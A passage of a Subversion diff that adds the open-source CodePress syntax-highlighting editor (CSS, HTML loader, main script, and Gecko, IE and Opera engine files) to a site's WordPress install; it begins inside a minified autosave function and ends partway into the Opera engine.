tinyMCE!="undefined")&&tinyMCE.activeEditor&&!tinyMCE.activeEditor.isHidden(),d,f,b,e,a;d={action:"autosave",post_ID:jQuery("#post_ID").val()||0,post_title:jQuery("#title").val()||"",autosavenonce:jQuery("#autosavenonce").val(),post_type:jQuery("#post_type").val()||"",autosave:1};jQuery(".tags-input").each(function(){d[this.name]=this.value});f=true;if(jQuery("#TB_window").css("display")=="block"){f=false}if(c){b=tinyMCE.activeEditor;if("mce_fullscreen"==b.id){tinyMCE.get("content").setContent(b.getContent({format:"raw"}),{format:"raw"})}tinyMCE.get("content").save()}d.content=jQuery("#content").val();if(jQuery("#post_name").val()){d.post_name=jQuery("#post_name").val()}if((d.post_title.length==0&&d.content.length==0)||d.post_title+d.content==autosaveLast){f=false}autosave_disable_buttons();e=jQuery("#original_post_status").val();autosaveLast=jQuery("#title").val()+jQuery("#content").val();goodcats=([]);jQuery("[name='post_category[]']:checked").each(function(g){goodcats.push(this.value)});d.catslist=goodcats.join(",");if(jQuery("#comment_status").attr("checked")){d.comment_status="open"}if(jQuery("#ping_status").attr("checked")){d.ping_status="open"}if(jQuery("#excerpt").size()){d.excerpt=jQuery("#excerpt").val()}if(jQuery("#post_author").size()){d.post_author=jQuery("#post_author").val()}d.user_ID=jQuery("#user-id").val();if(c&&tinyMCE.activeEditor.plugins.spellchecker&&tinyMCE.activeEditor.plugins.spellchecker.active){f=false}if(parseInt(d.post_ID,10)<1){d.temp_ID=d.post_ID;a=autosave_saved_new}else{a=autosave_saved}if(!f){d.autosave=0}autosaveOldMessage=jQuery("#autosave").html();jQuery.ajax({data:d,beforeSend:f?autosave_loading:null,type:"POST",url:autosaveL10n.requestFile,success:a})};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.css	(revision 44)
@@ -0,0 +1,21 @@
+body {
+	margin-top:13px;
+	_margin-top:14px;
+	background:white;
+	margin-left:32px;
+	font-family:monospace;
+	font-size:13px;
+	white-space:pre;
+	background-image:url("images/line-numbers.png");
+	background-repeat:repeat-y;
+	background-position:0 3px;
+	line-height:16px;
+	height:100%;
+}
+pre {margin:0;}
+html>body{background-position:0 2px;}
+P {margin:0;padding:0;border:0;outline:0;display:block;white-space:pre;}
+b, i, s, u, a, em, tt, ins, big, cite, strong, var, dfn {text-decoration:none;font-weight:normal;font-style:normal;font-size:13px;}
+
+body.hide-line-numbers {background:white;margin-left:16px;}
+body.show-line-numbers {background-image:url("images/line-numbers.png");margin-left:32px;}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.html
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.html	(revision 44)
@@ -0,0 +1,35 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html>
+<head>
+	<title>CodePress - Real Time Syntax Highlighting Editor written in JavaScript</title>
+	<meta name="description" content="CodePress - source code editor window" />
+
+	<script type="text/javascript">
+	var language = 'generic';
+	var engine = 'older';
+	var ua = navigator.userAgent;
+	var ts = (new Date).getTime(); // timestamp to avoid cache
+	var lh = location.href;
+	
+	if(ua.match('MSIE')) engine = 'msie';
+	else if(ua.match('KHTML')) engine = 'khtml'; 
+	else if(ua.match('Opera')) engine = 'opera'; 
+	else if(ua.match('Gecko')) engine = 'gecko';
+
+	if(lh.match('language=')) language = lh.replace(/.*language=(.*?)(&.*)?$/,'$1');
+
+	document.write('<link type="text/css" href="codepress.css?ts='+ts+'" rel="stylesheet" />');
+	document.write('<link type="text/css" href="languages/'+language+'.css?ts='+ts+'" rel="stylesheet" id="cp-lang-style" />');
+	document.write('<scr'+'ipt type="text/javascript" src="engines/'+engine+'.js?ts='+ts+'"></scr'+'ipt>');
+	document.write('<scr'+'ipt type="text/javascript" src="languages/'+language+'.js?ts='+ts+'"></scr'+'ipt>');
+	</script>
+
+</head>
+
+<script type="text/javascript">
+if(engine == "msie" || engine == "gecko") document.write('<body><pre> </pre></body>');
+else if(engine == "opera") document.write('<body></body>');
+// else if(engine == "khtml") document.write('<body> </body>');
+</script>
+
+</html>
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/codepress.js	(revision 44)
@@ -0,0 +1,137 @@
+/*
+ * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/
+ * 
+ * Copyright (C) 2006 Fernando M.A.d.S. <fermads@gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the 
+ * GNU Lesser General Public License as published by the Free Software Foundation.
+ * 
+ * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php
+ */
+
+CodePress = function(obj) {
+	var self = document.createElement('iframe');
+	self.textarea = obj;
+	self.textarea.disabled = true;
+	self.textarea.style.overflow = 'hidden';
+	self.style.height = self.textarea.clientHeight +'px';
+	self.style.width = self.textarea.clientWidth +'px';
+	self.textarea.style.overflow = 'auto';
+	self.style.border = '1px solid gray';
+	self.frameBorder = 0; // remove IE internal iframe border
+	self.style.visibility = 'hidden';
+	self.style.position = 'absolute';
+	self.options = self.textarea.className;
+	
+	self.initialize = function() {
+		self.editor = self.contentWindow.CodePress;
+		self.editor.body = self.contentWindow.document.getElementsByTagName('body')[0];
+		self.editor.setCode(self.textarea.value);
+		self.setOptions();
+		self.editor.syntaxHighlight('init');
+		self.textarea.style.display = 'none';
+		self.style.position = 'static';
+		self.style.visibility = 'visible';
+		self.style.display = 'inline';
+	}
+	
+	// obj can by a textarea id or a string (code)
+	self.edit = function(obj,language) {
+		if(obj) self.textarea.value = document.getElementById(obj) ? document.getElementById(obj).value : obj;
+		if(!self.textarea.disabled) return;
+		self.language = language ? language : self.getLanguage();
+		self.src = CodePress.path+'codepress.html?language='+self.language+'&ts='+(new Date).getTime();
+		if(self.attachEvent) self.attachEvent('onload',self.initialize);
+		else self.addEventListener('load',self.initialize,false);
+	}
+
+	self.getLanguage = function() {
+		for (language in CodePress.languages) 
+			if(self.options.match('\\b'+language+'\\b')) 
+				return CodePress.languages[language] ? language : 'generic';
+	}
+	
+	self.setOptions = function() {
+		if(self.options.match('autocomplete-off')) self.toggleAutoComplete();
+		if(self.options.match('readonly-on')) self.toggleReadOnly();
+		if(self.options.match('linenumbers-off')) self.toggleLineNumbers();
+	}
+	
+	self.getCode = function() {
+		return self.textarea.disabled ? self.editor.getCode() : self.textarea.value;
+	}
+
+	self.setCode = function(code) {
+		self.textarea.disabled ? self.editor.setCode(code) : self.textarea.value = code;
+	}
+
+	self.toggleAutoComplete = function() {
+		self.editor.autocomplete = (self.editor.autocomplete) ? false : true;
+	}
+	
+	self.toggleReadOnly = function() {
+		self.textarea.readOnly = (self.textarea.readOnly) ? false : true;
+		if(self.style.display != 'none') // prevent exception on FF + iframe with display:none
+			self.editor.readOnly(self.textarea.readOnly ? true : false);
+	}
+	
+	self.toggleLineNumbers = function() {
+		var cn = self.editor.body.className;
+		self.editor.body.className = (cn==''||cn=='show-line-numbers') ? 'hide-line-numbers' : 'show-line-numbers';
+	}
+	
+	self.toggleEditor = function() {
+		if(self.textarea.disabled) {
+			self.textarea.value = self.getCode();
+			self.textarea.disabled = false;
+			self.style.display = 'none';
+			self.textarea.style.display = 'inline';
+		}
+		else {
+			self.textarea.disabled = true;
+			self.setCode(self.textarea.value);
+			self.editor.syntaxHighlight('init');
+			self.style.display = 'inline';
+			self.textarea.style.display = 'none';
+		}
+	}
+
+	self.edit();
+	return self;
+}
+
+CodePress.languages = {	
+	csharp : 'C#', 
+	css : 'CSS', 
+	generic : 'Generic',
+	html : 'HTML',
+	java : 'Java', 
+	javascript : 'JavaScript', 
+	perl : 'Perl', 
+	ruby : 'Ruby',	
+	php : 'PHP', 
+	text : 'Text', 
+	sql : 'SQL',
+	vbscript : 'VBScript'
+}
+
+
+CodePress.run = function() {
+	// Modified for WordPress compat to prevent loading on webkit and to
+	// reference a codepress_path which is specified externally.
+	if (navigator.userAgent.toLowerCase().indexOf('webkit') != -1)
+		return;
+	CodePress.path = codepress_path;
+	var t = document.getElementsByTagName('textarea'), i, id;
+	for(i=0,n=t.length;i<n;i++) {
+		if(t[i].className.match('codepress')) {
+			id = t[i].id;
+			t[i].id = id+'_cp';
+			eval(id+' = new CodePress(t[i])');
+			t[i].parentNode.insertBefore(eval(id), t[i]);
+		} 
+	}
+}
+
+if(window.attachEvent) window.attachEvent('onload',CodePress.run);
+else window.addEventListener('DOMContentLoaded',CodePress.run,false);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/gecko.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/gecko.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/gecko.js	(revision 44)
@@ -0,0 +1,293 @@
+/*
+ * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/
+ * 
+ * Copyright (C) 2007 Fernando M.A.d.S. <fermads@gmail.com>
+ *
+ * Developers:
+ *		Fernando M.A.d.S. <fermads@gmail.com>
+ *		Michael Hurni <michael.hurni@gmail.com>
+ * Contributors: 	
+ *		Martin D. Kirk
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the 
+ * GNU Lesser General Public License as published by the Free Software Foundation.
+ * 
+ * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php
+ */
+
+CodePress = {
+	scrolling : false,
+	autocomplete : true,
+
+	// set initial vars and start sh
+	initialize : function() {
+		if(typeof(editor)=='undefined' && !arguments[0]) return;
+		body = document.getElementsByTagName('body')[0];
+		body.innerHTML = body.innerHTML.replace(/\n/g,"");
+		chars = '|32|46|62|8|'; // charcodes that trigger syntax highlighting
+		cc = '\u2009'; // carret char
+		editor = document.getElementsByTagName('pre')[0];
+		document.designMode = 'on';
+		document.addEventListener('keypress', this.keyHandler, true);
+		window.addEventListener('scroll', function() { if(!CodePress.scrolling) CodePress.syntaxHighlight('scroll') }, false);
+		completeChars = this.getCompleteChars();
+		completeEndingChars =  this.getCompleteEndingChars();
+	},
+
+	// treat key bindings
+	keyHandler : function(evt) {
+    	keyCode = evt.keyCode;	
+		charCode = evt.charCode;
+		fromChar = String.fromCharCode(charCode);
+
+		if((evt.ctrlKey || evt.metaKey) && evt.shiftKey && charCode!=90)  { // shortcuts = ctrl||appleKey+shift+key!=z(undo) 
+			CodePress.shortcuts(charCode?charCode:keyCode);
+		}
+		else if( (completeEndingChars.indexOf('|'+fromChar+'|')!= -1 || completeChars.indexOf('|'+fromChar+'|')!=-1) && CodePress.autocomplete) { // auto complete
+			if(!CodePress.completeEnding(fromChar))
+			     CodePress.complete(fromChar);
+		}
+	    else if(chars.indexOf('|'+charCode+'|')!=-1||keyCode==13) { // syntax highlighting
+			top.setTimeout(function(){CodePress.syntaxHighlight('generic');},100);
+		}
+		else if(keyCode==9 || evt.tabKey) {  // snippets activation (tab)
+			CodePress.snippets(evt);
+		}
+		else if(keyCode==46||keyCode==8) { // save to history when delete or backspace pressed
+		 	CodePress.actions.history[CodePress.actions.next()] = editor.innerHTML;
+		}
+		else if((charCode==122||charCode==121||charCode==90) && evt.ctrlKey) { // undo and redo
+			(charCode==121||evt.shiftKey) ? CodePress.actions.redo() :  CodePress.actions.undo(); 
+			evt.preventDefault();
+		}
+		else if(charCode==118 && evt.ctrlKey)  { // handle paste
+		 	top.setTimeout(function(){CodePress.syntaxHighlight('generic');},100);
+		}
+		else if(charCode==99 && evt.ctrlKey)  { // handle cut
+		 	//alert(window.getSelection().getRangeAt(0).toString().replace(/\t/g,'FFF'));
+		}
+
+	},
+
+	// put cursor back to its original position after every parsing
+	findString : function() {
+		if(self.find(cc))
+			window.getSelection().getRangeAt(0).deleteContents();
+	},
+	
+	// split big files, highlighting parts of it
+	split : function(code,flag) {
+		if(flag=='scroll') {
+			this.scrolling = true;
+			return code;
+		}
+		else {
+			this.scrolling = false;
+			mid = code.indexOf(cc);
+			if(mid-2000<0) {ini=0;end=4000;}
+			else if(mid+2000>code.length) {ini=code.length-4000;end=code.length;}
+			else {ini=mid-2000;end=mid+2000;}
+			code = code.substring(ini,end);
+			return code;
+		}
+	},
+	
+	getEditor : function() {
+		if(!document.getElementsByTagName('pre')[0]) {
+			body = document.getElementsByTagName('body')[0];
+			if(!body.innerHTML) return body;
+			if(body.innerHTML=="<br>") body.innerHTML = "<pre> </pre>";
+			else body.innerHTML = "<pre>"+body.innerHTML+"</pre>";
+		}
+		return document.getElementsByTagName('pre')[0];
+	},
+	
+	// syntax highlighting parser
+	syntaxHighlight : function(flag) {
+		//if(document.designMode=='off') document.designMode='on'
+		if(flag != 'init') { window.getSelection().getRangeAt(0).insertNode(document.createTextNode(cc));}
+		editor = CodePress.getEditor();
+		o = editor.innerHTML;
+		o = o.replace(/<br>/g,'\n');
+		o = o.replace(/<.*?>/g,'');
+		x = z = this.split(o,flag);
+		x = x.replace(/\n/g,'<br>');
+
+		if(arguments[1]&&arguments[2]) x = x.replace(arguments[1],arguments[2]);
+	
+		for(i=0;i<Language.syntax.length;i++) 
+			x = x.replace(Language.syntax[i].input,Language.syntax[i].output);
+
+		editor.innerHTML = this.actions.history[this.actions.next()] = (flag=='scroll') ? x : o.split(z).join(x);
+		if(flag!='init') this.findString();
+	},
+	
+	getLastWord : function() {
+		var rangeAndCaret = CodePress.getRangeAndCaret();
+		words = rangeAndCaret[0].substring(rangeAndCaret[1]-40,rangeAndCaret[1]);
+		words = words.replace(/[\s\n\r\);\W]/g,'\n').split('\n');
+		return words[words.length-1].replace(/[\W]/gi,'').toLowerCase();
+	},
+	
+	snippets : function(evt) {
+		var snippets = Language.snippets;	
+		var trigger = this.getLastWord();
+		for (var i=0; i<snippets.length; i++) {
+			if(snippets[i].input == trigger) {
+				var content = snippets[i].output.replace(/</g,'&lt;');
+				content = content.replace(/>/g,'&gt;');
+				if(content.indexOf('$0')<0) content += cc;
+				else content = content.replace(/\$0/,cc);
+				content = content.replace(/\n/g,'<br>');
+				var pattern = new RegExp(trigger+cc,'gi');
+				evt.preventDefault(); // prevent the tab key from being added
+				this.syntaxHighlight('snippets',pattern,content);
+			}
+		}
+	},
+	
+	readOnly : function() {
+		document.designMode = (arguments[0]) ? 'off' : 'on';
+	},
+
+	complete : function(trigger) {
+		window.getSelection().getRangeAt(0).deleteContents();
+		var complete = Language.complete;
+		for (var i=0; i<complete.length; i++) {
+			if(complete[i].input == trigger) {
+				var pattern = new RegExp('\\'+trigger+cc);
+				var content = complete[i].output.replace(/\$0/g,cc);
+				parent.setTimeout(function () { CodePress.syntaxHighlight('complete',pattern,content)},0); // wait for char to appear on screen
+			}
+		}
+	},
+
+	getCompleteChars : function() {
+		var cChars = '';
+		for(var i=0;i<Language.complete.length;i++)
+			cChars += '|'+Language.complete[i].input;
+		return cChars+'|';
+	},
+	
+	getCompleteEndingChars : function() {
+		var cChars = '';
+		for(var i=0;i<Language.complete.length;i++)
+			cChars += '|'+Language.complete[i].output.charAt(Language.complete[i].output.length-1);
+		return cChars+'|';
+	},
+	
+	completeEnding : function(trigger) {
+		var range = window.getSelection().getRangeAt(0);
+		try {
+			range.setEnd(range.endContainer, range.endOffset+1)
+		}
+		catch(e) {
+			return false;
+		}
+		var next_character = range.toString()
+		range.setEnd(range.endContainer, range.endOffset-1)
+		if(next_character != trigger) return false;
+		else {
+			range.setEnd(range.endContainer, range.endOffset+1)
+			range.deleteContents();
+			return true;
+		}
+	},
+	
+	shortcuts : function() {
+		var cCode = arguments[0];
+		if(cCode==13) cCode = '[enter]';
+		else if(cCode==32) cCode = '[space]';
+		else cCode = '['+String.fromCharCode(charCode).toLowerCase()+']';
+		for(var i=0;i<Language.shortcuts.length;i++)
+			if(Language.shortcuts[i].input == cCode)
+				this.insertCode(Language.shortcuts[i].output,false);
+	},
+	
+	getRangeAndCaret : function() {	
+		var range = window.getSelection().getRangeAt(0);
+		var range2 = range.cloneRange();
+		var node = range.endContainer;			
+		var caret = range.endOffset;
+		range2.selectNode(node);	
+		return [range2.toString(),caret];
+	},
+	
+	insertCode : function(code,replaceCursorBefore) {
+		var range = window.getSelection().getRangeAt(0);
+		var node = window.document.createTextNode(code);
+		var selct = window.getSelection();
+		var range2 = range.cloneRange();
+		// Insert text at cursor position
+		selct.removeAllRanges();
+		range.deleteContents();
+		range.insertNode(node);
+		// Move the cursor to the end of text
+		range2.selectNode(node);		
+		range2.collapse(replaceCursorBefore);
+		selct.removeAllRanges();
+		selct.addRange(range2);
+	},
+	
+	// get code from editor
+	getCode : function() {
+		if(!document.getElementsByTagName('pre')[0] || editor.innerHTML == '')
+			editor = CodePress.getEditor();
+		var code = editor.innerHTML;
+		code = code.replace(/<br>/g,'\n');
+		code = code.replace(/\u2009/g,'');
+		code = code.replace(/<.*?>/g,'');
+		code = code.replace(/&lt;/g,'<');
+		code = code.replace(/&gt;/g,'>');
+		code = code.replace(/&amp;/gi,'&');
+		return code;
+	},
+
+	// put code inside editor
+	setCode : function() {
+		var code = arguments[0];
+		code = code.replace(/\u2009/gi,'');
+		code = code.replace(/&/gi,'&amp;');
+		code = code.replace(/</g,'&lt;');
+		code = code.replace(/>/g,'&gt;');
+		editor.innerHTML = code;
+		if (code == '')
+			document.getElementsByTagName('body')[0].innerHTML = '';
+	},
+
+	// undo and redo methods
+	actions : {
+		pos : -1, // actual history position
+		history : [], // history vector
+		
+		undo : function() {
+			editor = CodePress.getEditor();
+			if(editor.innerHTML.indexOf(cc)==-1){
+				if(editor.innerHTML != " ")
+					window.getSelection().getRangeAt(0).insertNode(document.createTextNode(cc));
+				this.history[this.pos] = editor.innerHTML;
+			}
+			this.pos --;
+			if(typeof(this.history[this.pos])=='undefined') this.pos ++;
+			editor.innerHTML = this.history[this.pos];
+			if(editor.innerHTML.indexOf(cc)>-1) editor.innerHTML+=cc;
+			CodePress.findString();
+		},
+		
+		redo : function() {
+			// editor = CodePress.getEditor();
+			this.pos++;
+			if(typeof(this.history[this.pos])=='undefined') this.pos--;
+			editor.innerHTML = this.history[this.pos];
+			CodePress.findString();
+		},
+		
+		next : function() { // get next vector position and clean old ones
+			if(this.pos>20) this.history[this.pos-21] = undefined;
+			return ++this.pos;
+		}
+	}
+}
+
+Language={};
+window.addEventListener('load', function() { CodePress.initialize('new'); }, true);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/msie.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/msie.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/msie.js	(revision 44)
@@ -0,0 +1,304 @@
+/*
+ * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/
+ * 
+ * Copyright (C) 2007 Fernando M.A.d.S. <fermads@gmail.com>
+ *
+ * Developers:
+ *		Fernando M.A.d.S. <fermads@gmail.com>
+ *		Michael Hurni <michael.hurni@gmail.com>
+ * Contributors: 	
+ *		Martin D. Kirk
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the 
+ * GNU Lesser General Public License as published by the Free Software Foundation.
+ * 
+ * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php
+ */
+
+CodePress = {
+	scrolling : false,
+	autocomplete : true,
+	
+	// set initial vars and start sh
+	initialize : function() {
+		if(typeof(editor)=='undefined' && !arguments[0]) return;
+		chars = '|32|46|62|'; // charcodes that trigger syntax highlighting
+		cc = '\u2009'; // carret char
+		editor = document.getElementsByTagName('pre')[0];
+		editor.contentEditable = 'true';
+		document.getElementsByTagName('body')[0].onfocus = function() {editor.focus();}
+		document.attachEvent('onkeydown', this.metaHandler);
+		document.attachEvent('onkeypress', this.keyHandler);
+		window.attachEvent('onscroll', function() { if(!CodePress.scrolling) setTimeout(function(){CodePress.syntaxHighlight('scroll')},1)});
+		completeChars = this.getCompleteChars();
+		completeEndingChars =  this.getCompleteEndingChars();
+		setTimeout(function() { window.scroll(0,0) },50); // scroll IE to top
+	},
+	
+	// treat key bindings
+	keyHandler : function(evt) {
+		charCode = evt.keyCode;
+		fromChar = String.fromCharCode(charCode);
+		
+		if( (completeEndingChars.indexOf('|'+fromChar+'|')!= -1 || completeChars.indexOf('|'+fromChar+'|')!=-1  )&& CodePress.autocomplete) { // auto complete
+			if(!CodePress.completeEnding(fromChar))
+			     CodePress.complete(fromChar);
+		}
+	    else if(chars.indexOf('|'+charCode+'|')!=-1||charCode==13) { // syntax highlighting
+		 	CodePress.syntaxHighlight('generic');
+		}
+	},
+
+	metaHandler : function(evt) {
+		keyCode = evt.keyCode;
+		
+		if(keyCode==9 || evt.tabKey) { 
+			CodePress.snippets();
+		}
+		else if((keyCode==122||keyCode==121||keyCode==90) && evt.ctrlKey) { // undo and redo
+			(keyCode==121||evt.shiftKey) ? CodePress.actions.redo() :  CodePress.actions.undo(); 
+			evt.returnValue = false;
+		}
+		else if(keyCode==34||keyCode==33) { // handle page up/down for IE
+			self.scrollBy(0, (keyCode==34) ? 200 : -200); 
+			evt.returnValue = false;
+		}
+		else if(keyCode==46||keyCode==8) { // save to history when delete or backspace pressed
+		 	CodePress.actions.history[CodePress.actions.next()] = editor.innerHTML;
+		}
+		else if((evt.ctrlKey || evt.metaKey) && evt.shiftKey && keyCode!=90)  { // shortcuts = ctrl||appleKey+shift+key!=z(undo) 
+			CodePress.shortcuts(keyCode);
+			evt.returnValue = false;
+		}
+		else if(keyCode==86 && evt.ctrlKey)  { // handle paste
+			window.clipboardData.setData('Text',window.clipboardData.getData('Text').replace(/\t/g,'\u2008'));
+		 	top.setTimeout(function(){CodePress.syntaxHighlight('paste');},10);
+		}
+		else if(keyCode==67 && evt.ctrlKey)  { // handle cut
+			// window.clipboardData.setData('Text',x[0]);
+			// code = window.clipboardData.getData('Text');
+		}
+	},
+
+	// put cursor back to its original position after every parsing
+	
+	
+	findString : function() {
+		range = self.document.body.createTextRange();
+		if(range.findText(cc)){
+			range.select();
+			range.text = '';
+		}
+	},
+	
+	// split big files, highlighting parts of it
+	split : function(code,flag) {
+		if(flag=='scroll') {
+			this.scrolling = true;
+			return code;
+		}
+		else {
+			this.scrolling = false;
+			mid = code.indexOf(cc);
+			if(mid-2000<0) {ini=0;end=4000;}
+			else if(mid+2000>code.length) {ini=code.length-4000;end=code.length;}
+			else {ini=mid-2000;end=mid+2000;}
+			code = code.substring(ini,end);
+			return code.substring(code.indexOf('<P>'),code.lastIndexOf('</P>')+4);
+		}
+	},
+	
+	// syntax highlighting parser
+	syntaxHighlight : function(flag) {
+		if(flag!='init') document.selection.createRange().text = cc;
+		o = editor.innerHTML;
+		if(flag=='paste') { // fix pasted text
+			o = o.replace(/<BR>/g,'\r\n'); 
+			o = o.replace(/\u2008/g,'\t');
+		}
+		o = o.replace(/<P>/g,'\n');
+		o = o.replace(/<\/P>/g,'\r');
+		o = o.replace(/<.*?>/g,'');
+		o = o.replace(/&nbsp;/g,'');			
+		o = '<PRE><P>'+o+'</P></PRE>';
+		o = o.replace(/\n\r/g,'<P></P>');
+		o = o.replace(/\n/g,'<P>');
+		o = o.replace(/\r/g,'<\/P>');
+		o = o.replace(/<P>(<P>)+/,'<P>');
+		o = o.replace(/<\/P>(<\/P>)+/,'</P>');
+		o = o.replace(/<P><\/P>/g,'<P><BR/></P>');
+		x = z = this.split(o,flag);
+
+		if(arguments[1]&&arguments[2]) x = x.replace(arguments[1],arguments[2]);
+	
+		for(i=0;i<Language.syntax.length;i++) 
+			x = x.replace(Language.syntax[i].input,Language.syntax[i].output);
+			
+		editor.innerHTML = this.actions.history[this.actions.next()] = (flag=='scroll') ? x : o.replace(z,x);
+		if(flag!='init') this.findString();
+	},
+
+	snippets : function(evt) {
+		var snippets = Language.snippets;
+		var trigger = this.getLastWord();
+		for (var i=0; i<snippets.length; i++) {
+			if(snippets[i].input == trigger) {
+				var content = snippets[i].output.replace(/</g,'&lt;');
+				content = content.replace(/>/g,'&gt;');
+				if(content.indexOf('$0')<0) content += cc;
+				else content = content.replace(/\$0/,cc);
+				content = content.replace(/\n/g,'</P><P>');
+				var pattern = new RegExp(trigger+cc,"gi");
+				this.syntaxHighlight('snippets',pattern,content);
+			}
+		}
+	},
+	
+	readOnly : function() {
+		editor.contentEditable = (arguments[0]) ? 'false' : 'true';
+	},
+	
+	complete : function(trigger) {
+		var complete = Language.complete;
+		for (var i=0; i<complete.length; i++) {
+			if(complete[i].input == trigger) {
+				var pattern = new RegExp('\\'+trigger+cc);
+				var content = complete[i].output.replace(/\$0/g,cc);
+				setTimeout(function () { CodePress.syntaxHighlight('complete',pattern,content)},0); // wait for char to appear on screen
+			}
+		}
+	},
+	
+	getCompleteChars : function() {
+		var cChars = '';
+		for(var i=0;i<Language.complete.length;i++)
+			cChars += '|'+Language.complete[i].input;
+		return cChars+'|';
+	},
+
+	getCompleteEndingChars : function() {
+		var cChars = '';
+		for(var i=0;i<Language.complete.length;i++)
+			cChars += '|'+Language.complete[i].output.charAt(Language.complete[i].output.length-1);
+		return cChars+'|';
+	},
+
+	completeEnding : function(trigger) {
+		var range = document.selection.createRange();
+		try {
+			range.moveEnd('character', 1)
+		}
+		catch(e) {
+			return false;
+		}
+		var next_character = range.text
+		range.moveEnd('character', -1)
+		if(next_character != trigger )  return false;
+		else {
+			range.moveEnd('character', 1)
+			range.text=''
+			return true;
+		}
+	},	
+
+	shortcuts : function() {
+		var cCode = arguments[0];
+		if(cCode==13) cCode = '[enter]';
+		else if(cCode==32) cCode = '[space]';
+		else cCode = '['+String.fromCharCode(keyCode).toLowerCase()+']';
+		for(var i=0;i<Language.shortcuts.length;i++)
+			if(Language.shortcuts[i].input == cCode)
+				this.insertCode(Language.shortcuts[i].output,false);
+	},
+	
+	getLastWord : function() {
+		var rangeAndCaret = CodePress.getRangeAndCaret();
+		words = rangeAndCaret[0].substring(rangeAndCaret[1]-40,rangeAndCaret[1]);
+		words = words.replace(/[\s\n\r\);\W]/g,'\n').split('\n');
+		return words[words.length-1].replace(/[\W]/gi,'').toLowerCase();
+	}, 
+
+	getRangeAndCaret : function() {	
+		var range = document.selection.createRange();
+		var caret = Math.abs(range.moveStart('character', -1000000)+1);
+		range = this.getCode();
+		range = range.replace(/\n\r/gi,'  ');
+		range = range.replace(/\n/gi,'');
+		return [range.toString(),caret];
+	},
+	
+	insertCode : function(code,replaceCursorBefore) {
+		var repdeb = '';
+		var repfin = '';
+		
+		if(replaceCursorBefore) { repfin = code; }
+		else { repdeb = code; }
+		
+		if(typeof document.selection != 'undefined') {
+			var range = document.selection.createRange();
+			range.text = repdeb + repfin;
+			range = document.selection.createRange();
+			range.move('character', -repfin.length);
+			range.select();	
+		}	
+	},
+
+	// get code from editor	
+	getCode : function() {
+		var code = editor.innerHTML;
+		code = code.replace(/<br>/g,'\n');
+		code = code.replace(/<\/p>/gi,'\r');
+		code = code.replace(/<p>/i,''); // IE first line fix
+		code = code.replace(/<p>/gi,'\n');
+		code = code.replace(/&nbsp;/gi,'');
+		code = code.replace(/\u2009/g,'');
+		code = code.replace(/<.*?>/g,'');
+		code = code.replace(/&lt;/g,'<');
+		code = code.replace(/&gt;/g,'>');
+		code = code.replace(/&amp;/gi,'&');
+		return code;
+	},
+
+	// put code inside editor
+	setCode : function() {
+		var code = arguments[0];
+		code = code.replace(/\u2009/gi,'');
+		code = code.replace(/&/gi,'&amp;');		
+       	code = code.replace(/</g,'&lt;');
+        code = code.replace(/>/g,'&gt;');
+		editor.innerHTML = '<pre>'+code+'</pre>';
+	},
+
+	
+	// undo and redo methods
+	actions : {
+		pos : -1, // actual history position
+		history : [], // history vector
+		
+		undo : function() {
+			if(editor.innerHTML.indexOf(cc)==-1){
+				document.selection.createRange().text = cc;
+			 	this.history[this.pos] = editor.innerHTML;
+			}
+			this.pos--;
+			if(typeof(this.history[this.pos])=='undefined') this.pos++;
+			editor.innerHTML = this.history[this.pos];
+			CodePress.findString();
+		},
+		
+		redo : function() {
+			this.pos++;
+			if(typeof(this.history[this.pos])=='undefined') this.pos--;
+			editor.innerHTML = this.history[this.pos];
+			CodePress.findString();
+		},
+		
+		next : function() { // get next vector position and clean old ones
+			if(this.pos>20) this.history[this.pos-21] = undefined;
+			return ++this.pos;
+		}
+	}
+}
+
+Language={};
+window.attachEvent('onload', function() { CodePress.initialize('new');});
Index: /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/opera.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/opera.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/codepress/engines/opera.js	(revision 44)
@@ -0,0 +1,260 @@
+/*
+ * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/
+ * 
+ * Copyright (C) 2007 Fernando M.A.d.S. <fermads@gmail.com>
+ *
+ * Contributors :
+ *
+ * 	Michael Hurni <michael.hurni@gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the 
+ * GNU Lesser General Public License as published by the Free Software Foundation.
+ * 
+ * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php
+ */
+
+
+CodePress = {
+	scrolling : false,
+	autocomplete : true,
+
+	// set initial vars and start sh
+	initialize : function() {
+		if(typeof(editor)=='undefined' && !arguments[0]) return;
+		chars = '|32|46|62|'; // charcodes that trigger syntax highlighting
+		cc = '\u2009'; // control char
